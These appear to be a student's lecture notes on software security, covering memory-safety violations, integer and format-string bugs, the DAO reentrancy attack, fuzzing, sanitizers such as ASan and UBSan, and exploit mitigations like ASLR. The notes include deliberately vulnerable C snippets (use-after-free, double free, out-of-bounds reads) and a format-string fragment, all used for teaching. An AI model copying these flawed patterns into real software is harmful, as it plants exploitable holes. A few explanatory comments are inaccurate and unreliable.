• in low level sense, the program has to check for the next available free memory spot
• first request big chunk of memory from the OS
• then the glibc will chunk the 4MB for the program to handle the smaller malloc’s

What does free do?

How2Heap

What is safe in memory safety?

• Observation 1: At runtime, memory is a pool of objects
• Observation 2: Each objet has known andlimited size and lifetime
• Observation 3: Once allocated, the size of an object never changes
• Observation 4: Memory access is always object-oriented
  • Memory read: (object_id, offset, length)
  • Memory write: (object_id, offset, length, value)

The following code is illegal, since the address is not up to the program but the OS/compiler.

int *p = 0xdeadbeef;
int v = *p;

Spatial safety violations

int foo(int x) {
  int arr[16] = {0};
  return arr[x]; // array was not initialized fully
}

long foo() {
  int a = 0;
  return *(long *)(&a); // reading 8 bytes from a 4 byte valuefg
}

int foo(int *p) {
  // what if p == NULL
  return *p + 42;
}

What is temporal safety?

• For any object during a program execution, we know its (object_id, size [int], alive [bool]).
• For each memory access, we know.
  • memory read: (object_id, offset [int], length [int])
  • memory write: (object_id, offset [int], length [int])
  • memory free: (object_id)
• violations:
  • read: status != init
  • write: status == dead
  • free: status == dead

int foo() {
  int *p = malloc(sizeof(int))
  *p = 42;
  free(p);
  return *p;
}

int *ptr

void foo() {
  int p = 100;
  ptr = &p;
}

int bar() {
  return *ptr; // invalid since address is invalid
}

int foo() {
  int *p = malloc(sizeof(int))
  *p = 42;
  free(p);
  free(p); // double free's are undefined behaviour
  return *p;
}

Memory Leak

int foo() {
  int *p = malloc(sizeof(int))
  int *q = malloc(sizeof(int))
  *p = 42;
  free(q);
  return *p;
}

Heartbleed Vulnerability I

Heartbleed Vulnerability II

Memory Errors are Prevalent

• disproportionately high number of memory errors among all security vulnerabiities is that we know memory errors the best
• memory errors have unniversally accepted definitions (e.g. Stack Overflow website)
  • do not need to argue that this is a bug and not a feature
• gradual adoption of memory-safe languages

Common Bugs

Unsafe integer operations

• Mathemetical integers are unbounded
• Machine integers are bounded by a fixed number of bits

Best way to bounds check is to check if the old balance is subtractable and that the value is less than or equal to than the max that can be added (MAX - old balance).

Common Integer Overflow and Underflow Cases

• signed ⇆ unsigned
• size-decreasing cast (truncate)
• see slides for more

Unsafe Floating-point operations

• floating-point number are bounded by a limited precision
• The Perils of Floating Point

Pointer Relational Comparison

• in memory, for the same struc, the properties do appear in memory order
• therefore, &structInstance.one &structInstance.two
• however stack variables are not guarnateed to be in a certain order

Insufficient Sanitization on Untrusted Input

• SQL unescaped input

Format Strings

• printf is very powerful
• %7$11x

Same-origin policy

• two urls sharing same uri schem (ftp, http, https)
• untrusted input shown to another user can trigger a cross-site scripting attack since the user input was not sanitized

Untrusted Logic

• In 2016, an attacker exploited a vulnerability in Ethereum’s DAO smart contract. The attacker drained more than $3.6M.
• msg.sender.call.value(_weiToWithdraw())
• Reentrancy attack
  • before the checks are finished, call withdraw again which will pass all checks since the timestamp was not updated yet
  • that means that the function is recursively called until the contract’s internal store of the balance is exhausted
• fix:
  • first do the book keeping then call the function
  • wrap function with mutex variables
  • require the mutex to be false at the beginning of the function call

Solidiity callback function: runs when money is sent to the contract or is interacted with

Data Race

• to avoid data races, need a way to synchronize between threads or clients
  • for threads, use mutexes and acqurie before change
• for databases, use transactions
• memory errors: double free, double allocate (dangling)
• heisenburg and non-deterministic behaviour

Fuzz Testing

• To drive the execution of a system into desired state
• system: source code, input format
• state: output or current state

Genetic Algorithm

• Feedback and Selection fo most successful

Path Coverage

• AFL: American Fuzzy Lop

Narrow-range Constriants

• SMT Solvers
• Fuzzers

Finding Bugs

• Program analysis
• derive properties which hold for program P (inteference)
• prove that a property holds for program P (verification)
• given a program P, generate a program P’ which is
  • equivalent to P in most ways
  • behaves better than P with respect to some criteria

Concrete Semantics

• all possible executions under all possible inputs
• could be close to infinite which is impractical to enumerate
• safety properties: no possible execution should reach these erroneous states
• testing: consdering a subset of the possible executions
• bounded model checking
• abstract interpretation: if the abstract semantics cover all possible cases -> so does the concrete semantics
  • false alarms: widening of the model during execution

Defenses against Common Vulnerabilities

• Runtime sanity checking
• Defensive programming; anticipate what might go wrong in software
  • Normal paradigm: expect others to follow the rules
  • Defensive paradigm: expect others to ignore / by-pass the rules

Paranoia

• NULL-check for every pointer access even when its an internal function called by a public function that does the check
• Undefined behavior sanitizer (UBSan)
  • stateless sanity checks
  • -fsanitize=bool
    • loading of a bool value which is neither true nor false
  • -fsanitize=bounds
    • statically known checking
  • -fsanitize=function
    • wrong type of pointer when calling
  • -fsanitize=null
  • -fsanitize=integer-divide-by-zero
  • -fsanitize=integer-overflow

Dynamic Checking

• Fat pointer

AddressSanitizer (ASan)

• Overhead of ASan is 70% on average
• Shadow memory
• Fast shadow translation
• Memory available gets mapped to shadow
• Shadow gets mapped to inaccessible
• Compact representation (7 bytes of membery into 1 byte of shadow memory)

// before:
*addr = ...; or ... = *addr;
// after:
if (*MemToShadow(address) != 0) {
  ReportError(address, ...);
}
*address = ...; // or: ... = *address;

• limitations:
  • continuous overrun detection only
  • limited protection on use-after-free
  • incompataible with other security scheme (e.g. UBSan)
  • not suitable for library developers
    • not possible to use an application that is not using ASan with a library compiled with ASan

Why is Java Efficient?

• no 70% overhead but you still get an array index out of bounds exception
• Java Virutal Machine means the JVM can store extra metadata like length without depending on OS memeory implementation
• Java does not allow arbitrary casting
  • Only upward cast and sometimes downward cast. No re-interpret cast so length is always there. New object needs to be created for “re-interpreting”

Reference Monitor

Runtime Verification (RV)

• Validation: are we building the right product?
• Verification: are we building the product right?
• linear temporal logic (LTL): primitive properties, propositional connectives, temporal connectives

Control-Flow Integrity (CFI)

• Shadow Stack: return address protection inside Intel

Aspect Oriented Programming

• separation of cross-cutting concerns
• logging
• obscures control flow

Entropy

program analysis

- scanf("%s", buf);
+ scanf("%15s", buf);

Exploit mitigation

Add canary

Randomizing Memory Addresses

• ASLR — Address Space Layout Randomization
  • a system-level protection that randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.
• PIE — Position Independent Executable
  • a body of machine code that executes properly regardless of its absolute address. This is also known as position-independent code (PIC)

Entropies in Heap Allocators

Allocate in random placements with canry boundaries

Software Diversity

• different compilers
• different languages
• different sanitization techniques
• different application (nginx vs apache)
• different libc implementation